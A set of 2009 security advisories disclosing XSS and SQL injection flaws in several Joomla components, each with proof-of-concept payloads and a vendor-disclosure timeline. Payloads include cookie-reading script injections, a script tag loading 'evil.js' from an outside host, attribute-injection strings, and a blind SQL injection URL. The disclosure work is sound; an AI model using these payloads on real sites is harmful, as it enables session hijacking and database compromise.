F!BB 1.5.96 RC Multiple Vulnerabilities
Thursday, 17 September 2009 00:00

The Joomla component F!BB 1.5.96 RC suffers from multiple persistent XSS vulnerabilities, as well SQL Injection in its user search feature.

  1. ICQ, MSN Profile Fields XSS

    The MSN field will be rendered in the page twice.
    "><script>alert(document.cookie)</script><b f="

  2. AIM Profile Field XSS

    This vulnerability has a limited number of characters, but this will inject script:
    "><script src=//jeffchannell.com/evil.js></script
    NOTE: Skype, Gtalk, website fields are also vulnerable, though the window for injection is even smaller!

  3. Blind SQL Injection

    REQUIRES: magic_quotes_gpc OFF
    index.php?option=com_fbb&func=advsearch&q=&exactname=1&childforums=1&limitstart=0&searchuser=%' AND SUBSTRING(@@version,1,1)=5 -- '


    If MySQL is version 5, this will return results. Otherwise, no results.

Timeline

  • Vulnerabilities Discovered: 31 July 2009
  • Vendor Notified: 31 July 2009
  • Vendor Response: 31 July 2009
  • Update Available: ... 2009
  • Disclosure: 17 September 2009
Last Updated on Thursday, 30 September 2010 17:38
Rapid Forum XSS Vulnerability
Thursday, 17 September 2009 00:00

The Joomla component Rapid Forum suffers from a persistent XSS vulnerability.

This vulnerability is pretty easy to exploit, as Rapid Forum does absolutely no validation or encoding whatsoever.
<script>alert(document.cookie)</script>

Timeline

  • Vulnerabilities Discovered: 31 July 2009
  • Vendor Notified: 31 July 2009
  • Vendor Response: ... 2009
  • Update Available: ... 2009
  • Disclosure: 17 September 2009
Last Updated on Thursday, 30 September 2010 17:38
Simplest Forum BBCode Plugin 1.0.0 Beta 2 XSS Vulnerability
Thursday, 17 September 2009 00:00

The Simplest Forum BBCode Plugin 1.0.0 Beta 2 for Joomla suffers from a persistent XSS vulnerability that allows arbitrary injections of CSS rules.

[color=#FF0000;font-size:100px]XSS[/color]

Timeline

  • Vulnerabilities Discovered: 31 July 2009
  • Vendor Notified: 31 July 2009
  • Vendor Response: ... 2009
  • Update Available: ... 2009
  • Disclosure: 17 September 2009
Last Updated on Thursday, 30 September 2010 17:38
Testimonial Ku 2.0 Admin Panel Persistent XSS
Thursday, 17 September 2009 00:00

The Joomla component Testimonial Ku 2.0 is vulnerable to persistent XSS in the administrator panel. A malicious user can submit a testimonial containing <script> tags with absolutely no quotes and inject that script into the administrator panel through any of the available inputs except "email".

Fake Submission<script>alert(document.cookie)</script>

Now, when an administrator views the latest submissions, the script will execute with that admin's permissions.

Timeline

  • Vulnerabilities Discovered: 31 July 2009
  • Vendor Notified: 31 July 2009
  • Vendor Response: ... 2009
  • Update Available: ... 2009
  • Disclosure: 17 September 2009
Last Updated on Thursday, 30 September 2010 17:36
MS Comment 0.8.0b Multiple Vulnerabilities
Thursday, 17 September 2009 00:00

MS Comment 0.8.0b for Joomla, a commenting plugin, suffers from an multiple vulnerabilities.

  1. Captcha Cracking

    The submission uses AJAX and fails to reset the captcha after a submission. Read once, write many.

  2. Website Input XSS

    The 'Website' input field is checked for html markup, but fails to sanitize extra parameters.
    " onmouseover="alert(String.fromCharCode(88,83,83))
    " style="color:expression(alert(String.fromCharCode(88,83,83)))

    Timeline

    • Vulnerabilities Discovered: 31 July 2009
    • Vendor Notified: 31 July 2009
    • Vendor Response: ... 2009
    • Update Available: ... 2009
    • Disclosure: 17 September 2009
Last Updated on Thursday, 30 September 2010 17:36
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